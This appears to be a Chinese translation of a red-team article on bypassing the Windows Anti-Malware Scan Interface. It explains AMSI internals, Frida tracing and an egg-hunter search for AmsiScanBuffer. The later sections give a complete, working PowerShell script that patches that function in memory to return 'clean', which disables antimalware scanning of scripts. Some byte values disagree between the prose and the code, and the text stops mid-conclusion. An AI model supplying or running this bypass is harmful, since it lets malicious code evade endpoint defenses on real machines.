0x00 前言
AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。
在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。
正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,我们介绍了AMSI的内部工作原理,也介绍了一种新的绕过方法。
在本文中,我们将涉及如下几方面内容:
- Windows内部基本工作原理(比如虚拟地址空间、Windows API)
- Windows调试器的基本用法,以便分析并反汇编目标程序(这里我们使用的是
powershell.exe
) - Frida基本用法,以便hook函数
- PowerShell脚本的基础知识
0x01 AMSI工作原理
前面提到过,服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务,AMSI采用了hook方法。比如,AMSI会hook WSH(Windows Scripting Host)及PowerShell来去混淆并分析正在执行的代码内容。这些内容会被“捕获”,并在执行之前发送给反恶意软件解决方案。
在Windows 10上,实现AMSI的所有组件如下所示:
- UAC(用户账户控制),安装EXE、COM、MSI或者ActiveX时提升权限
- PowerShell(脚本、交互式使用以及动态代码执行)
- Windows Script Host(
wscript.exe
或者cscript.exe
) - JavaScript以及VBScript
- Office VBA宏
AMSI整体架构如下图所示:
比如,当创建PowerShell进程时,AMSI动态链接库(DLL)会被映射到该进程的虚拟地址空间中(Windows为该进程提供的虚拟地址范围)。DLL是包含导出函数及内部函数的一个模块,可以被其他模块所使用。内部函数只能在DLL中使用,导出函数可以被其他模块使用,也能在DLL内部使用。在这个例子中,PowerShell会使用AMSI DLL的导出函数来扫描用户输入。如果判断这些数据无害,则用户输入数据就会被执行,否则就会阻止执行操作,在日志中记录1116事件(MALWAREPROTECTION_BEHAVIOR_DETECTED
)。
使用PowerShell触发相关事件(ID 1116)时如下所示:
需要注意的是,AMSI不单单可以用来扫描脚本、代码、命令或者cmdlet,也可以用来扫描任何文件、内存或者数据流,如字符串、即时消息、图像或者视频。
0x02 枚举AMSI函数
前文提到过,实现AMSI的应用使用到了AMSI的导出函数,但究竟是哪些函数,具体过程如何?更为重要的是,哪些函数负责检测,可以阻止我们执行“恶意”内容?
这里我们可以使用两种方法来获得导出函数列表。首先,我们可以从微软官方文档中找到一个基本的函数列表:
AmsiCloseSession
AmsiInitialize
AmsiOpenSession
AmsiResultsMalware
AmsiScanBuffer
AmsiScanString
AmsiUninitialize
另外我们可以使用WinDbg之类的软件来调试AMSI DLL,这些软件可以帮我们完成逆向分析、反汇编以及动态分析任务。这里我们选择将WinDbg attach到正在运行的PowerShell进程,以便分析AMSI。
使用WinDbg时,我们可以列出AMSI导出函数及内部函数,如下图所示。其中x
命令用来检查符号。符号文件是编译程序时创建的文件,程序运行并不需要这些文件,但其中包含调试过程中需要的许多有用信息,比如全局变量、本地变量、函数名及地址等。
知道函数名后,我们依然没有回答最重要的一个问题:哪个(些)函数负责检测行为,用来阻止“恶意”内容?
为了回答这个问题,我们可以使用Frida。Frida是一个动态检测工具集,可以用来分析程序内部原理和hook,这意味着该工具可以hook函数,以分析传递给函数或者由函数返回的变量或值。
关于Frida安装和工作原理方面的内容不在本文探讨范围内,如果大家想了解更多信息,可以参考官方文档。这里我们只使用了frida-trace
这款工具。
首先,我们使用frida-trace
attach到正在运行的PowerShell进程(如下左图),准备hook函数名以“Amsi”开头的所有函数。使用-P
选项来指定进程ID,-X
选项来指定模块(DLL),-i
选项来指定函数名(或者匹配模式)。
要注意我们需要使用管理员权限来执行frida-trace
(如下右图)。
现在Frida已经hook了这些函数,我们可以监控在输入简单字符串时,PowerShell会调用哪些函数。如下所示,可知PowerShell会调用AmsiScanBuffer
以及AmsiOpenSession
。
frida-trace
是一款功能强大的工具,对于分析的每个函数,都会创建一个对应的JavaScript文件,每个JavaScript文件中包含两个函数:onEnter
以及onLeave
。
onEnter
函数有3个参数:log
、args
以及state
,这三个参数分别用是向用户显示的信息、传递给目标函数的参数列表以及用于内部函数状态管理的一个全局对象。
onLeave
函数有3个参数:log
、args
以及state
,分别是向用户显示的信息(与onEnter
相同)、目标函数的返回值以及用于内部函数状态管理的一个全局对象(与onEnter
相同)。
比如,Frida为AmsiScanBuffer
默认生成的JavaScript文件如下所示:
{
onEnter: function (log, args, state) {
log('AmsiScanBuffer()');
},
onLeave: function (log, retval, state) { }
}
在我们的例子中,AmsiScanBuffer
和AmsiOpenSession
函数的JavaScript文件都可以根据函数原型进行更新,以便分析相关参数及返回值。函数原型或者函数接口指的是函数的声明,指定了函数名、类型、参数以及参数类型。
AmsiScanBuffer
的函数原型如下:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
AmsiOpenSession
的函数原型如下:
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
更新AmsiScanBuffer
对应的JavaScript文件(__handlers__\amsi.dll\AmsiScanBuffer.js
),如下所示:
{
onEnter: function (log, args, state) {
log('[+] AmsiScanBuffer');
log('|- amsiContext: ' + args[0]);
log('|- buffer: ' + Memory.readUtf16String(args[1]));
log('|- length: ' + args[2]);
log('|- contentName: ' + args[3]);
log('|- amsiSession: ' + args[4]);
log('|- result: ' + args[5] + "n");
},
onLeave: function (log, retval, state) { }
}
更新AmsiOpenSession
对应的JavaScript文件(__handlers__\amsi.dll\AmsiOpenSession.js
),如下所示:
{
onEnter: function (log, args, state) {
log('[+] AmsiOpenSession');
log('|- amsiContext: ' + args[0]);
log('|- amsiSession: ' + args[1] + "n");
},
onLeave: function (log, retval, state) { }
}
更新这些文件后,我们可以更进一步了解哪些参数会被传递给这些函数。如下图所示,用户输入数据会通过buffer
变量传递给AmsiScanBuffer
函数:
根据这些分析,我们可以得出结论:AmsiScanBuffer
至少是一个比较重要的函数,与检测机制有关,因此能够阻止“恶意”内容。
0x03 查找函数地址
现在我们已经缩小目标,只针对一个函数:AmsiScanBuffer
。
在Windows系统中,Kernel32
DLL中导出的LoadLibrary
函数可以用来加载DLL,并将DLL映射到正在运行进程的虚拟地址空间中(VAS),并返回该DLL对应的句柄,以便其他函数使用。如果DLL已经映射到进程的VAS中,那么就只会返回句柄(我们的例子就满足该情况,PowerShell在进程初始化阶段加载AMSI DLL)。
Windows API是一组函数及数据结构,由不同的DLL(如Kernel32
或者User32
)对外提供,Windows应用和服务可以使用这些API来执行具体操作(比如创建文件、打开进程或者加载DLL)。
为了获得AMSI DLL的句柄,我们可以执行如下PowerShell脚本:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”
Kernel32
DLL中的GetProcAddress
函数能够帮我们获取指定DLL中的导出函数或者变量的句柄。在这个例子中,我们可以使用这个Windows API来获取AMSI DLL中AmsiScanBuffer
函数或其他其他导出函数的地址,这也是Rasta Mouse之前使用的方法。然而,现在系统会将AmsiScanBuffer
以及其他字符串当成恶意特征,避免AMSI被篡改。因此,这里我们需要使用另一种方法。
这里我们可以动态查找AmsiScanBuffer
的地址,而不去使用GetProcAddress
函数。为了完成该任务,我们仍然需要找到一个地址,作为VAS中的起始查找点。这里有很多导出函数可以使用,特别是函数名中不包含Amsi
的导出函数,我们选择的是DllCanUnloadNow
。
我们可以更新前面的PowerShell脚本,在代码中添加对GetProcAddress
语句,以便获得目标进程VAS中DllCanUnloadNow
函数的地址。如下所示:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
需要注意的是由于地址空间布局随机化(ASLR),每次系统重启后DllCanUnloadNow
的地址都会发生变化。对于我们的例子,系统重启前该函数的地址为140717525833824
。ASLR是一种安全机制,可以随机化VAS中的地址,防止攻击者猜测内存位置。
此外,每次重启系统后,ASLR都会随机化用户空间基址。
0x04 Egg Hunter
我们可以将DllCanUnloadNow
的地址作为目标进程VAS的入口点,但现在我们如何找到AmsiScanBuffer
的地址呢?
实际上,我们可以遍历整个VAS。搜索满足特定匹配模式的目标。这种技术可以称之为“Egg Hunter”。正常情况下,一个典型的egg hunter需要搜索内存中2个4字节的特殊匹配模式(如w00tw00t
或者p4ulp4ul
),但这里我们需要使用24字节,而不是8字节。这24字节就是AmsiScanBuffer
函数的前24个字节。
我们可以使用WinDbg软件来反汇编AmsiScanBuffer
函数,以获取该函数对应的指令。需要注意的是,u
选项可以用来反汇编内存中的特定代码,这里即为AMSI DLL中的AmsiScanBuffer
。
如上图所示,该函数的前24个字节为0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70
。
利用这种技术时,我们要去确保搜索序列的唯一性,否则这种技术会返回“随机”地址,不是我们正在寻找的函数地址。
因此,我们可以更新之前的PowerShell脚本,以便在VAS中搜索这独特的24个字节。
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"
[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
[IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
$bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
$i++
}
Write-Host "[+] Bytes: $bytes"
在上述代码中,Hunter
类的FindAddress
静态方法会通过传参地址来递增搜索VAS中的地址,也就是DllCanUnloadNow
函数的地址。然后,该方法使用Marshal
类的ReadByte
静态方法来获取该地址对应的字节,将其与我们查找的字节序列进行匹配。最后,如果找到匹配序列,代码就会返回函数对应的地址。
如上图所示,我们找到的字节刚好是AmsiScanbuffer
函数的前24个字节,因此,我们可以使用这种技术成功动态发现AmsiScanBuffer
。
0x05 Patch
发现函数地址后,下一步就是修改函数指令,避免该函数检测到“恶意”内容。
根据微软官方文档,AmsiScanBuffer
函数应该返回HRESULT
类型值,这是一个整数值,用来表示操作是否成功。在我们的例子中,如果该函数成功,那么就应当返回S_OK
(0x00000000
),否则应该返回HRESULT
错误代码。
这个函数的主要功能是返回需要扫描的内容是否存在问题,这也是result
变量会作为参数传递给AmsiScanBuffer
函数的原因所在。这个变量的类型为AMSI_RESULT
枚举类型。
对应的枚举原型如下所示:
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};
在函数执行过程中,待分析的内容会被发送到反恶意软件服务,后者会返回1
到32762
(含)之间的一个整数。整数值越大,则代表风险越高。如果证书大于或等于32762
,那么就会将其判断为恶意数据,加以阻止。随后系统会根据返回的整数值来更新AMSI_RESULT
变量值。
默认情况下,该变量处于“正常”(“无害”)值状态,因此,如果我们修改了函数指令,使其永远不会将待分析的内容发送给反恶意软件服务,并且返回S_OK
HRESULT
结果值,那么这些内容就会被当成无害数据。
在汇编语言中,EAX
(32位)以及RAX
(64位)寄存器始终包含函数的返回值。因此,如果EAX
/RAX
寄存器值等于0,并且如果执行了ret
汇编指令,那么该函数就会返回S_OK
HRSULT
,不会将待分析数据发送给反恶意软件服务。
为了完成该任务,我们可以使用如下汇编代码:
xor EAX, EAX
ret
为了patch AmsiScanBuffer
函数,我们需要将前几个字节修改为0x31 0xC0 0xC3
(如上汇编指令的十六进制表示)。然而,在执行修改操作之前,待修改的区域必须为可读/可写。否则,任何读取或写入操作都会导致访问冲突异常。为了修改目标内存区域的保护机制,我们可以使用Kernel32
DLL中的VirtualProtect
函数。这个导出函数可以修改指定区域的内存保护机制。
如下PowerShell代码片段使用了VirtualProtect
函数来修改AmsiScanBuffer
函数的前3字节内存保护。
# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
然后,Marshal
类的Copy
静态方法可以用来将指定字节拷贝(覆盖)到指定地址。在这里,我们使用这个静态方法来patch内存。
$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
最后,我们再次使用VirtualProtect
函数来重新初始化原始的内存保护状态。
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) | Out-Null
将这些步骤结合起来后,我们就可以得到完整版的PowerShell脚本,完成如下操作:
- 获取AMSI DLL的句柄
- 获取
DllCanUnloadNow
函数的地址 - 通过egg hunter技术查找
AmsiScanBuffer
函数的地址 - 修改内存区域为可读写状态
- patch
- 重新初始化被修改的内存区域,恢复原始保护状态
完整代码如下:
Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
如上图所示,我们成功绕过了AMSI。
0x06 总结
我们在如下Windows版本中对这种技术进行了测试: